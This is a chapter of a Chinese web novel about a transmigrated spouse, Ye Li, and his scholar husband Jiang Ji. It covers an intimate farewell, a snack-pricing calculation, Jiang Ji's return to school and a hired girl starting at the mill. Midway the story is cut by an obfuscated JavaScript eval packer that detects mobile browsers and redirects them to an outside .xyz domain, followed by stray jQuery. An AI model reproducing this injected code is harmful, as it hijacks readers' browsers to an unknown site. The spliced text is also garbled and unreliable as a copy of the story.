25. 回私塾

作品:《成了举人家的恶毒夫郎

    江纪的唇落下来后,叶厘这才回过神。


    他的背紧靠着木门。


    屁股悬空,江纪双臂牢牢托着他的大腿。


    他双手抓着江纪的肩。


    这姿势,活了两辈子,他还是第一次体验。


    此刻,江纪只是伸舌轻轻舔着他的唇,并不是热吻。


    他深吸一口气,空出一只手在江纪肩头锤了一拳。


    “不喜欢这样?”江纪的唇稍稍移开,轻声询问。


    “……就是觉得你好会。”


    真的。


    叶厘真没想到便宜相公竟还能来这一手。


    他试着摇了两下,见自己身子稳稳的,毫无掉下来的迹象,于是就大胆了起来。


    他伸手捧着江纪那张过分出众的脸,挑着眉问:“好相公,从哪儿学的这些?”


    江纪不答反问:“那你满意吗?”


    一句话,让叶厘乐了起来。


    就这臂力,他能不满意吗?


    他笑眯眯的凑过去在江纪唇上“啵”了一下:“下次行房,咱们用这个姿势?”


    “……”


    江纪瞳孔一缩,喉咙瞬间发紧。


    他没想到叶厘能甩出这么一句。


    此刻,叶厘脸上的笑容带着一丝狡黠、九分撩人,很明显,叶厘在故意勾他。


    他咬了咬牙,对着叶厘的唇重重吻了下去。


    这一次,他不再像刚才那般只咬着叶厘的唇瓣厮磨,他用舌顶开叶厘的牙关,然后攻向叶厘的上颌。


    这是叶厘的敏感点。


    之前他舌头一触及这里,叶厘就会受不住一般抱紧他。


    现在他专攻这一个地方,叶厘不由在他怀里扭来扭去,口中还哼哼着。


    等他放开叶厘的唇时,叶厘已是气喘吁吁,双颊染红。


    这幅模样,更引得他想要将人抱回炕上,如昨晚似的这样那样一番。


    但最终,他只是将人抱在怀里,慢慢的平复着呼吸。


    叶厘已察觉到江纪身子的变化,他自个儿也有反应。


    从前没真刀真枪做过,即便有冲动,自己摸摸也就过去了。


    现在体验过了,当然,也可能是因为他这具身子是夫郎,构造与真正的男人不一样,反正他现在就觉得空。


    身子里很空。


    有些难受。


    他不敢再瞎撩拨,只是乖乖抱着便宜相公,也慢慢做着深呼吸。


    便宜相公一走就是十日。


    唉,惆怅。


    等难受劲儿过去,他开口道:“你就安心读书,家里一切有我。”


    “我知道。有什么事,尽管去找我。”


    江纪说着,更加用力的抱着怀里人。


    叶厘点头,不忘提醒:“第十天的时候,你可要回来拿银钱。”


    江纪嗯了一声。


    他记得。


    他当然记得。


    ……


    两人想再多交代几句,可他们毕竟不熟,讲完这几句,就没了话。


    但没人舍得放开对方,他们就这样抱着,直到外边传来江麦、江芽的说话声,这才心有灵犀般匆匆又吻了一下,然后身子依依不舍的分开。


    江纪拉着叶厘进了东屋,不顾叶厘的反对,从背篓里面取出来一个面果,非得让叶厘吃了。


    “你以后炸的是以后的,今个儿你忙活一整日,怎能一口不尝?”


    一句话,把叶厘余下的话全堵了回来。


    他笑着接过那个面果,心里头甜滋滋的。


    便宜相公有这份体贴,他心甘情愿的为这个家付出。


    这时,外边想起了江芽的喊声:“大哥、哥!柳姐来啦。”


    两人闻言,一前一后出了堂屋。


    江柳背着一个麻袋,麻袋里装的是玉米面,江家吃的粮食,都是江大河家送来的。


    这几日江纪在家,面粉消耗的着实快。


    江柳就背了三十斤过来。


    而且,从明日开始,江柳就要上工了。


    叶厘、江纪同江柳打了招呼,叶厘一边说着话,一边将手里的面果掰成几块,给在场的几人分了分。


    江柳第一次吃面果,有些新奇。


    不过,得知这种面点的售价竟是五文一个,她登时吓了一跳。


    “这么贵?”


    “就这也不挣什么钱。一斤的成本就有二十二文。”


    叶厘掰着手指给江柳算账。


    小麦面粉,一斤是七文。


    麦芽糖浆,一斤四十文,想要面果有明显的甜味,那和一斤面,最起码得放四两的糖,那就是十六文。


    还有油。和面时要加油,最后还得下锅油炸,一斤面粉大概要消耗三两油。


    一斤豆油是二十七文,三两就算作是八文。


    他还往里面磕了好几个鸡蛋。


    不过,今个儿是为了给江纪加餐,所以多嗑了鸡蛋。


    若是拿出去售卖,一斤面加一个鸡蛋就成了。


    一个鸡蛋,哪怕是最小的,那也得一文钱。


    等将来做大做强,江麦江芽捡的柴供不上了,那肯定要算干柴的成本。


    此刻叶厘索性给加了上去,算作一文。


    因此,不算人工,只算面粉、糖浆、油、鸡蛋、干柴这五样的成本,那炸一斤面粉,成本是三十三文。


    而一斤面粉,差不多能出一斤半的面果。


    所以,粗粗算来,一斤面果的成本大概是二十二文。


    一个面果重一两六,价五文,六个不到一斤但可以粗算作一斤,那一斤的售价就是三十文。


    减去二十二文的成本,一斤他才赚八文。


    但不能让叶两刘饴夫夫俩白干。


    他让利三文。


    最后算下来,每卖出去一斤面果,他挣五文,叶两刘饴挣三文。


    这妥妥血汗钱。


    江柳听了他这一通解释,不由沉默。


    这么一算,的确不贵。


    可她得推三天的石磨,才买得起一斤……


    她想招男人,这得等到何年何月?


    深吸了口气,她将脑中的愁绪赶走,算了,她这愿望跟做梦似的,先不想了。


    几人站在院子里说了几句话,江纪回屋把背篓拎了出来,他该走了。


    太阳快下山了,他若是走的晚了,那就进不了城。


    而明个儿一早就有早读。


    他必须今日走。


    将背篓背好,他按下心中的诸多不舍,冲着叶厘、江麦、江芽、江柳挥了挥手,然后转身,大步流星的往前走。


    江麦虽然不舍,但能控制小脸上的情绪。


    而江芽瘪瘪嘴,大眼睛盯着越走越远的大哥,一副要哭不哭的样子。


    叶厘也舍不得收回视线。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075440|163357||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    但他不是小孩子,他深吸一口气,笑着揉揉江芽、江麦的小脑袋,安慰道:“你们大哥十日后就回来了,很快的。”


    “芽哥儿,等你大哥再回来时,你还给他包葫芦包子,好不好?”


    上午江芽包的那个葫芦包子,最终他和江纪一人一半。


    江芽闻言,小身子一扭,麻溜的扑到他怀里,眼眶里有泪花打转。


    他弯腰将这小人抱了起来:“芽哥儿乖,咱回去吃麻叶,好不好?”


    叶厘这一抱,顿时让江芽转了心思。


    因为连江纪都很久没这样抱过他了!


    他五岁了,早就是大孩子了!


    有些不好意思,江芽扭过小脸,软软的应了声好。


    叶厘笑着拍拍他的背,招呼江麦、江柳跟上,一起回家吃麻叶。


    江柳摇头拒了,快傍晚了,她得回家做饭。


    明天半夜就得过来推磨,今夜她得早睡。


    转眼天就黑了,没了江纪这个大活人在,叶厘、江麦、江芽连啃包子的兴致都减了。


    晚饭后,叶厘和两个小家伙各回各房睡觉。


    另一边,江纪失眠了。


    他就读的私塾名叫陈记学馆,位于城南,他徒步来到学馆时,太阳已落山。


    学馆是个三进的院子,前院是夫子们办公的场所,正院是授课的学堂,后院是寝所和膳房。


    寝所条件艰苦,几个人同睡一张大炕,因此只有县城外的学生在住。


    家是县城本地的,都是下学之后各回各家。


    江纪到寝所时,同寝所的其他同窗已经到了,他与几人打了招呼,然后开始吃晚饭。


    他啃了三个包子、一个鸡蛋。


    吃完之后,他端上水盆、牙刷去洗漱。


    一通忙活,等躺下来时,已是戌正,该熄灯了。


    室内很快陷入黑暗,他闭上眸子,但周公没有像往常那般来寻他。


    身下的炕只铺了一张麦秸褥子,这褥子躺的久了,有些硬邦邦的。


    室内并不安静,大老爷们的呼噜声、磨牙声响个不停。


    长长呼了口气,他翻了个身。


    他想明日就回家……


    时间静悄悄溜走,转眼便是鸡鸣时分。


    野枣坡,江大河兴冲冲的起床,送江柳去叶厘家上工。


    现在非农忙时期,这个时刻村子里静悄悄的,江柳一个小姑娘家独自出门,江大河怕有意外,就特意将江柳送了来。


    江大河没有停留,交代江柳好好干,然后便走了。


    叶厘领着江柳进了磨房。


    他一个大男人,不好意思将这活儿全推给江柳干,他打算干点小活儿:


    往磨眼里舀黄豆、清扫凹槽里的豆渣、浆水。


    若江柳坚持不了,那他也做好了接替的准备。


    可谁知江柳主动道:“厘哥,你回堂屋躺着,我一个人就行。”


    “没事,起都起了。”叶厘笑着摇头。


    江柳想了想,改了主意:“好。”


    也是,她第一天上工,的确得让厘哥这个东家现场瞧一瞧她把活儿干的咋样。


    等时日久了,厘哥就放心让她一人磨豆浆了。


    她抓起磨杆,不紧不慢的推了起来。


    她力气不如江纪的大,她不能贪快。


    她的力气需细水长流,省着点儿用。